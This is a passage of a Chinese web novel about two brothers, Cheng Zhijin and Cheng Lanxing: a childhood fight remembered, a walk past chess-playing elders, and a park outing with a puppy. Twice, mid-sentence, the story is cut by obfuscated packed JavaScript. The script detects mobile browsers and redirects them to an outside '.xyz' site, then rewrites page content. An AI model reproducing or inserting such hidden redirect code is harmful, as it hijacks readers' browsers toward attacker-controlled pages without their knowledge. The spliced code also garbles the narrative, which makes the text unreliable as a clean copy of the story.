两人已行至停车场,程知谨停下脚步,昏暗的灯光在他的脸上切割出几道阴影,他垂下视线,心里的后怕还未散去。 停车场里的空气有些沉闷,程揽星迎着他哥的视线,一心二用,猜测程知谨接下来会说什么,他要如何应对。 就程揽星的成长历程来说,对比他们村其他小孩,程揽星完全称得上乖巧懂事。 但骨子里的那点不安分,又注定了他不会是一个彻底的乖小孩。 每每闯祸时,程揽星的“监护人”程知谨,便要承担起教育他的责任。 程浩上小学时,由于发育不良,个头比同龄人矮了一个头,经常被班里的同学欺负。 彼时,身为程湾小学毕业班一员的程揽星,听闻这件事,立刻撺掇程旭和自己一起去教训那些小鬼头一顿。 但两人运气不太好,出言恐吓完,才和他们打起来,就被路过的老师发现了。 结果就是,程知谨和程旭的奶奶一起在办公室里面对那群家长的指责。 这些家长都是吵架的好手,平时没少在村口和人对骂,老师拦得了一个,但拦不过一群。 其中一个家长的脸越骂越红,大概是见程知谨面无表情,毫无愧疚之色,拎起他的衣领,想让他见识一下什么叫大人的威严。 程揽星本来在一旁耷拉着脑袋抠手指,见那人去抓他哥的衣领,拔腿跑过去抱住他的胳膊,眼泪立马流下来,“你凭什么打我哥,是我犯的错,你为什么要打我哥,你比我哥高这么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540828|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你这是欺负人。” 他越哭越伤心,眼泪鼻涕全抹在那人的衣服上。 门那边罚站的程旭见了,也跟着哭,边哭边嚎,“你们凭什么骂我奶奶,明明是他们先欺负我弟弟的,程浩一天才一角的零花钱,他们都要抢走,他们都是坏蛋,为什么只骂我们是坏蛋,都是坏蛋,你们也是坏蛋,就知道欺负人,还有老师也是坏蛋,都不听我们讲话呜呜呜。” 周围的人安静下来,面面相觑,刚才的气焰散了个干净。 一个在门边哭,一个在桌边哭,声音此起彼伏。 老师头疼地揉了揉太阳穴,招呼那些家长过来,和他们说明情况。 程知谨牵着程揽星,坐到一旁的凳子上,用自己的袖子给他擦眼泪,轻声哄他,“别哭了,他没打到我。” 程揽星打了个哭嗝,瘪着嘴小声道:“我,我知道。” 见他这幅花猫般的模样,程知谨忍不住提起嘴角,笑道:“知道还哭得这么伤心?” 程揽星的眼泪多,视线不一会就模糊了,他抓起程知谨的衣服,把眼泪擦掉,声音闷在衣服里,跟特务接头似的,“这样他就不敢打你了。” 再硬的一颗心也被他给哭软了。 程知谨的心也被他踩得软绵绵的,他抱着程揽星学着他小声说话,“下次不要再做这么危险的事了。” 程揽星红着眼睛,可怜巴巴道:“哥,你会骂我吗?” “不会,你又没做错。” 程知谨回答得很快,但他皱起眉,严肃道:“不过这不代表我不生气。” 闻言,程揽星吸吸鼻子,眼泪又要掉下来。 程知谨忙捧住他的脸,让他忍住眼泪,“你知道我为什么生气吗?” 程揽星点点头,诚实回答:“因为我闯祸了。” 程知谨摇摇头,语气很认真,“因为你做的事有危险,会伤害到自己。” 这话可就伤害到程揽星的自尊心了。 他用自己的小脑袋瓜想了想,组织语言,反驳他哥,“我和程旭是六年级学生,他们都是四年级的。” 程知谨哼笑一声,丝毫不留情面,“他们是四年级学生没错,那你再数数有几个比你俩高,有几个和你俩一样高。” 程揽星垂下脑袋,不说话了。 再长大些,程揽星闯祸的次数少了,应对他哥的经验也丰富了许多。 现在再次面对这种情况,程揽星在脑内回忆以前的做法,并思考他作为成年人流眼泪的话,有没有杀伤力,以及有多大。 还没想出个结论,他的肩头突然一沉。 程知谨抱住他,没说话。 程揽星摸不准他哥什么意思,动动脑袋,还是乖乖地站在原地。 过了大概一分钟,程知谨抬起头,牵过他的右手,轻轻抚了抚,“还疼不疼?” 程揽星摇摇头,“早就不疼了。” “嗯,那就走吧。” 程知谨转身,朝车那边走去。 程揽星扑上去,抱着程知谨撒娇,“哥,你是全世界最好,不,全宇宙最好的哥哥。” 21. 偶遇 回到c市后,程揽星又过回了之前睡觉、吃饭、打游戏的循环日常。 那天发生的事就像投入湖面的一颗小石子,短暂掀起一片波澜,很快便被抚平。 临近过年,程知谨加班的次数也越来越多。 少有能休息的日子,两人基本上都呆在一起,也只有在这时候,程揽星才会出门走走。 最近天气不错,少有刮风下雨的时候,在外面溜达一圈,舒展一下身体,也能让眼睛休息一会。 两人散步时,大多数时候都是程揽星在说话,程知谨不时回应。 不远处有群围在树旁下棋的大爷,程揽星凑过去兴致勃勃地旁观。 这里的凳子多是大爷们从家里带过来的,石墩子上也坐满了人,两人杵在那,目标十分显眼。 有人朝向他俩问话,“小伙子,是不是想来一盘?” 旁边双手揣在袖子里的大爷听了,沙哑着嗓子道:“哎哟,娃儿们就是图个新鲜,你个糟老头子就别为难人家了,没看那两眉毛都快飞上天了。” 程揽星被大爷的话说得哭笑不得,忙摆手否认,“没有为难,爷爷,我们只是路过旁观一下,爷爷们下得很精彩,我们还是不献丑了。” 先前问话的大爷见了,掌上带风,“啪”地拍在程揽星背上,“小伙子不错,怪虚心的。刚才离得远了没看清,长得还挺俊的,陈三你家那孙女二十好几了吧,我看他俩可以聊聊,也是个缘分。要不是我家全是大小伙子,这女婿我可不让给你。” 程知谨在一旁等着,听到这话脸都黑了。 但到底都是长辈,他也不好说什么。 程揽星红着脸,声音大了不少,“爷爷,我才十八岁,现在结婚也太早了吧。” 被称作陈三的大爷闻言,再难掩笑声,“你这娃儿怪好玩的,稍微逗逗就脸红了,小心以后被人欺负了去。” 周边的人笑作一团,都跟着连声附和,“就是就是,这么容易害羞,以后去找媳妇,话没说两句,脸上就能摊熟两鸡蛋,这样也好,人家姑娘饿了,还能垫垫肚子。” “我看他旁边那娃儿长得也挺俊的,就是表情太唬人了,以后讨老婆可不容易,小姑娘还是喜欢温柔些的。” “还是红脸皮那小伙子吃香,我孙女说他这种类型的,叫什么,什么纯,哦,纯情小奶狗。” “……” 这下,程揽星是彻底呆不住了,他匆匆同大爷们道了别,狼狈地拉着程知谨逃开这堪比处刑场一般的地方。 等到离他们有些距离了,程揽星长出一口气,冲着程知谨抱怨,“天哪,那些爷爷也太可怕了。” 程知谨抿抿唇,压下心底的苦涩,“嗯,你还小,不要想这些。” 刚才那些话又挤进程揽星的脑袋里,游完一圈,剩下些加粗标红的词条。 程揽星有些不服气,“我已经成年了。” 最重要的是,他并不好欺负。 他只是经验不足,若是上学时和程旭一般,那他现在肯定不会动不动就脸红。 痛意如潮水淹没程知谨,他有些后悔刚才没直接带着程揽星离开了。 借他人之口,期待着能问出自己所想要的答案,这样的想法简直可笑至极。 “哥,下次我们还是别走那边了,只是看一回棋,这代价也太大了。” 程知谨轻声应好,又道:“你想下棋吗?” “其实还是有点想的,但是我技术不行,肯定会输得很惨。” 两人这时离那群大爷已经很有些距离,程揽星这话也就说得毫无障碍,要是让他们知道是因为这个理由,那程揽星指不定还要挨好一顿教育。 “等会去超市买一盘,我回家陪你练。” 这话在程揽星脑子里过一圈,让他有些心痒痒,“要是我一直练不好呢?” 落日的余晖照在他的身上,毛绒绒的头发随风轻轻晃动,程揽星轻皱着眉毛,似乎在苦恼,但微弯的嘴角泄露了他的情绪。 “那我就一直陪你练习。” 或许是黄昏的风太过温柔,或许是程知谨的语气太过坚定,程揽星的心里升起莫大的满足感。 两人散完步,提着从超市里买的菜回家。 原先余了大半空间的冰箱很快被填满,程揽星把里面的临期食品拿出来,准备今天消灭掉。 程知谨拿上食材,去厨房做饭。 昨天两人把屋子里打扫了一遍,经过苏逸轩的房间时,程揽星想起那天他回头看向自己的眼神,心头涌上如当时一般的奇怪热流。 总觉得,好像有什么脱离了控制,朝着未知的方向发展。 大概是受这股莫名感受的影响,今晚睡觉时,梦里的时光回溯,他站在弥漫着血腥味的院子里,苏逸轩朝他伸出手,半张脸都被鲜血掩盖住,唯有那双眼睛中的情绪愈发明晰。 这样的情绪太容易灼伤人,程揽星不愿意去深思其中的含义。 他睁开眼睛,室内只有空调运转的声音,被子压在脸上,让他的呼吸有些不畅,但程揽星也没立马掀开,这样的环境能给他安全感。 蒙在被子里逃避了会现实,他才把脑袋从里面拔出来,他原本是平躺着睡着的,这会醒来侧着身子,恰好能看到窗帘缝隙透出的那抹橘色晨光。 冬季的阳光好像要比其他季节暖和一些,那束光落在地板上,让整个房间的色调都明媚了些。 今天天气这么好,出去逛逛吧。 这个念头浮现在他的脑海中,立时就驱使他起床洗漱。 昨天买的棋盘静静地躺在茶几上,出门前,程揽星瞥见上面还没有收进棋盒的黑白子,心中的阴霾被驱散了几分。 他站在公交站牌前,挑了条停靠站点多的路线,等了十五分钟左右,脸颊被寒风吹得红彤彤,那辆车才姗姗来迟。 车上只有两三个人,他挑了靠窗的位置坐下。 窗影掠过,有个老爷爷骑着卖糖葫芦的小车,一群小朋友在他身后追赶,想要买一串糖葫芦。 程揽星在手机上挑出几个站点,几番对比,决定去中心公园,那附近有大型商场,等会吃饭也方便。 这会公园里的人不多,大多数都是来溜达或是健身的叔叔阿姨们。 湖面结了层厚厚的冰,上面分布着三三两两的小朋友,有些带了家里的不锈钢盆,和同伴轮流坐在里面滑冰,还有小朋友趴在冰面上,似乎在观察冰面下还有没有鱼在游动,不远处她的家长见了,提着嗓子让她站起来,别把衣服弄湿了。 程揽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540829|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星找了个圆木长凳坐下,这里距离居中,且地势稍高,能将湖面上的动态尽收眼底。 政府绕着湖栽了一圈杨柳,这个季节只剩下随风乱挥的光秃枝条,像是舞台下热情助威的观众。 他掏出手机,想拍给程知谨看看。 镜头里突然闯入了一只小狗,它灵活地穿行于叔叔阿姨中间,见没人理它,又把目光放在了冰面上,那里有绝对会给它关注的人。 小狗确信。 于是它撒开脚丫子跃上冰面,但它选择的着陆点不太凑巧——那里恰好有个十厘米深的坑,于是掌下一滑,掉进了坑里,它想爬出去,但坑虽小,装它绰绰有余,小短腿扑腾了半天,也没爬出去。 目睹了全过程的程揽星没忍住笑出了声。 虽然不太厚道,但这是他下意识的反应,实在不能怪他。 等笑够了,程揽星举着手机过去给他的视频拍了个完美的结尾。 小狗见有救星来了,尾巴摇得飞快,火星子都快要摇出来。 程揽星抱起小狗,用手点点它的鼻子,教训它,“笨蛋小狗,下次要看好着陆点,然后再行动,明白吗?” “汪!” 他捏着小狗的耳朵摇晃了两下,视作它的赞同。 “汪汪!” 程揽星这才满意地点点头,“对嘛,这样才是乖小狗。” 训完话,程揽星放下小狗,由着它继续在人群里撒欢,这次它终于得偿所愿,收获了一众小朋友的注意力。 程揽星把视频编辑了下,发给程旭和程知谨。 想了想,他又发到宿舍群里。 可爱的事物就要和大家分享! 等确认发出去后,程揽星把手机收起来,打算绕着冰湖走一圈,冬日里的空气干冷,他在这坐了一会,寒意侵袭上四肢,冷得他打哆嗦,还是运动运动,暖和一下。 方才的小狗被它的主人抱了回去,不然要是再多待一会,它那一身毛要被那群小朋友薅掉不少。 行至一片树林处,有个小朋友从里面冲出来,扑到程揽星身上,连带着他退后了几步才堪堪站稳。 “你……” 小朋友没等他说话,抬头确认了他的长相,就冲后面喊,“表哥,我抓到他了。” 程揽星心下疑惑,循着她喊话的方向看去,什么都没有。 “小朋友,你是不是认错人了?” 小朋友闻言露出困惑的表情,她再次抬头确认程揽星的长相,眼睛很像,鼻子很像,嘴巴也很像……两人大眼对小眼,小朋友松开眉毛,两颗兔牙随着笑容露出来,“不可能,哥哥你长得这么好看,我不会认错的。” 说完又冲着那个方向大喊,“表哥,你快过来呀,我都说我抓到他了。” 程揽星无奈,但看小朋友这个样子,应该也不是走丢了,遂放下她,准备继续完成原先的散步计划。 小朋友见他要走了,急得在原地直打转。 “表哥,你再不出来,大哥哥就要走了。” 那边树影动了动,原先空荡荡的方向慢慢现出了一个人影,他低着头,不太自然地朝这边走来。 程揽星余光扫过,脚步顿在原地,目露惊讶。 “杨岸?你怎么在这?”